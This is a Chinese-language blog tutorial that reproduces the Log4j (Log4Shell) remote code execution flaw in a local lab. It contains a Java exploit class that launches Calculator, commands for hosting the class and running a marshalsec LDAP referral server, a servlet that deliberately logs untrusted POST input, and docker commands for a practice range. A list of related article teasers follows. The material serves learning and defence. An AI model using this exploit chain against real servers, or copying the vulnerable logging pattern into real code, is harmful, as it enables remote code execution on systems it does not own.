Log4J 漏洞复现+漏洞靶场

简介: Log4J 漏洞复现+漏洞靶场

5992ca2bcc7fc6f9f27b2a39b0d9f1e3_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg


前言


昨天晚上朋友圈算是过了年了,一个log4j大伙都忙了起来,看着朋友圈好久没这么热闹了。Apache 的这个log4j这个影响范围的确是大,包括我自己做开发的时候也会用到log4j,这就很尴尬了。

大家也不要在公网上疯狂测试了,我给大家带来了漏洞靶场,攻击视频在下文,一步一步教你。

漏洞原理我改天会详细的写一篇文章出来,今天就主要是复现一下漏洞。

昨晚爆出的log4j rce 是通过lookup触发的漏洞,但jdk1.8.191以上默认不支持ldap协议,对于高版本jdk,则需要一定的依赖。不过为了给大家最简单的说明,我这里还是用jdk1.8.144的版本来运行。

这个漏洞和fastjson的漏洞利用如出一辙,首先需要编写一个恶意类。

publicclassExploit {

  publicExploit(){

      try{

          // 要执行的命令

          String[] commands= {"open", "/System/Applications/Calculator.app"};

          Processpc=Runtime.getRuntime().exec(commands);

          pc.waitFor();

     } catch(Exceptione){

          e.printStackTrace();

     }

 }

  publicstaticvoidmain(String[] argv) {

      Exploite=newExploit();

 }

}

这里是弹出计算器

把这个类编译之后会得到一个Exploit.class,然后需要在当前目录下启动一个web服务,

python3 -m http.server 8100

af8061bb47368f85f7906ba1f0da15b0_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

然后用marshalsec IDAP服务,项目地址:https://github.com/mbechler/marshalsec

java -cp /Users/fengxuan/Downloads/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8100/#Exploit"

8a939e64e4a24d1b04ca8d1375fa0b25_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

漏洞类

packagecom.evalshell.webstudy;

importorg.apache.logging.log4j.LogManager;

importorg.apache.logging.log4j.Logger;

importjava.io.*;

importjavax.servlet.ServletException;

importjavax.servlet.http.*;

importjavax.servlet.annotation.*;

@WebServlet(name="helloServlet", value="/hello-fengxuan")

publicclassHelloServletextendsHttpServlet {

  privateStringmessage;

  privatestaticfinalLoggerlogger=LogManager.getLogger(HelloServlet.class);

  publicvoidinit() {

      message="Hello World!";

 }

  publicvoiddoGet(HttpServletRequestrequest, HttpServletResponseresponse) throwsIOException {

      response.setContentType("text/html");

      response.setHeader("Content-Type", "text/html; charset=utf-8");

      System.out.println(request.getQueryString());

      // Hello

      PrintWriterout=response.getWriter();

      out.println("<html><body>");

      out.println("<span>你好,兄弟,请用post请求来搞我!</span>");

      out.println("</body></html>");

 }

  protectedvoiddoPost(HttpServletRequestreq, HttpServletResponseresp) throwsServletException, IOException {

      Stringname=req.getParameter("c");

      System.out.println(name);

      logger.error(name);

      resp.setContentType("text/html");

      resp.setHeader("Content-Type", "text/html; charset=utf-8");

      PrintWriterout=resp.getWriter();

      out.println("<html><body>");

      out.println("<h1>可恶!又被你装到了!</h1>");

      out.println("</body></html>");

 }

  publicvoiddestroy() {

 }

}

最后运行


漏洞靶场


为了互联网的安全,也为了给大家学习的环境,有很多同学不知道如何复现,我搭建了一个漏洞靶场,我编写的docker-compose.yml

地址是:https://github.com/fengxuangit/log4j_vuln

或者直接运行命令

docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln

docker run -it -d -p 8080:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln

docker exec -it log4j_vuln_container /bin/bash

/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh

然后访问你的8080的端口, 访问 http://127.0.0.1:8080/webstudy/ 就可以了, post的参数为c

按照视频教程玩就行。你的靶场你自己随便玩!



相关文章
|
安全 Java 开发者
刚折腾完Log4J,又爆Spring RCE核弹级漏洞
继Log4J爆出安全漏洞之后,又在深夜,Spring的github上又更新了一条可能造成RCE(远程命令执行漏洞)的问题代码,随即在国内的安全圈炸开了锅。有安全专家建议升级到JDK 9以上,有些专家又建议回滚到JDK 7以下,一时间小伙伴们不知道该怎么办了。大家来看一段动画演示,怎么改都是“将军"。
218 1
|
运维 安全 Java
Log4j2 远程代码执行漏洞——总结
前两天网络有爆料log4j安全漏洞,安全大于天,于是也加入到这个和时间赛跑的临时事件中。对于安全漏洞网上有很多文章,内容都大同小异,不过针对于这件事小编下面的故事一定能让读者有"意外"收获。
|
安全 Java Shell
Apache Log4j2 远程代码执行漏洞
Apache Log4j2是一个·基于Java的日志记录工具,该工具重写了Log4j框架,并且引入大量丰富的特性,该日志框架被大量用于业务系统开发,用来记录日志信息。
278 2
|
安全 druid Java
【紧急】Apache Log4j任意代码执行漏洞安全风险升级修复教程
近期一个 Apache Log4j 远程代码执行漏洞细节被公开,攻击者利用漏洞可以远程执行代码。经过分析,该组件存在Java JNDI注入漏洞,当程序将用户输入的数据进行日志,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。
651 1
|
安全 Java 大数据
CDH/HDP/CDP等大数据平台中如何快速应对LOG4J的JNDI系列漏洞
CDH/HDP/CDP等大数据平台中如何快速应对LOG4J的JNDI系列漏洞
|
安全 网络协议 Java
【紧急】Log4j又发新版2.17.0,只有彻底搞懂漏洞原因,才能以不变应万变,小白也能看懂
经过一周时间的Log4j2 RCE事件的发酵,事情也变也越来越复杂和有趣,就连 Log4j 官方紧急发布了 2.15.0 版本之后没有过多久,又发声明说 2.15.0 版本也没有完全解决问题,然后进而继续发布了 2.16.0 版本。大家都以为2.16.0是最终终结版本了,没想到才过多久又爆雷,Log4j 2.17.0横空出世。
1519 0
|
Kubernetes 安全 中间件
Traefik 如何保护应用免受 Log4j2 漏洞的影响
2021 年 12 月 10 日,Apache Log4j2 中的一个被称为 “Log4Shell” 的漏洞被发布(CVE-2021-44228),引入了严重的安全风险。作为 Java 应用程序日志库中的一个核心组件,其广泛用于著名的开源项目以及企业级后端应用程序。在本文中,我们将向您展示 Traefik 如何基于插件系统帮助我们的业务缓解此问题。
341 0
|
9月前
|
监控 容灾 算法
阿里云 SLS 多云日志接入最佳实践:链路、成本与高可用性优化
本文探讨了如何高效、经济且可靠地将海外应用与基础设施日志统一采集至阿里云日志服务(SLS),解决全球化业务扩展中的关键挑战。重点介绍了高性能日志采集Agent(iLogtail/LoongCollector)在海外场景的应用,推荐使用LoongCollector以获得更优的稳定性和网络容错能力。同时分析了多种网络接入方案,包括公网直连、全球加速优化、阿里云内网及专线/CEN/VPN接入等,并提供了成本优化策略和多目标发送配置指导,帮助企业构建稳定、低成本、高可用的全球日志系统。
945 55
|
监控 安全 Apache
什么是Apache日志?为什么Apache日志分析很重要?
Apache是全球广泛使用的Web服务器软件,支持超过30%的活跃网站。它通过接收和处理HTTP请求,与后端服务器通信,返回响应并记录日志,确保网页请求的快速准确处理。Apache日志分为访问日志和错误日志,对提升用户体验、保障安全及优化性能至关重要。EventLog Analyzer等工具可有效管理和分析这些日志,增强Web服务的安全性和可靠性。
428 9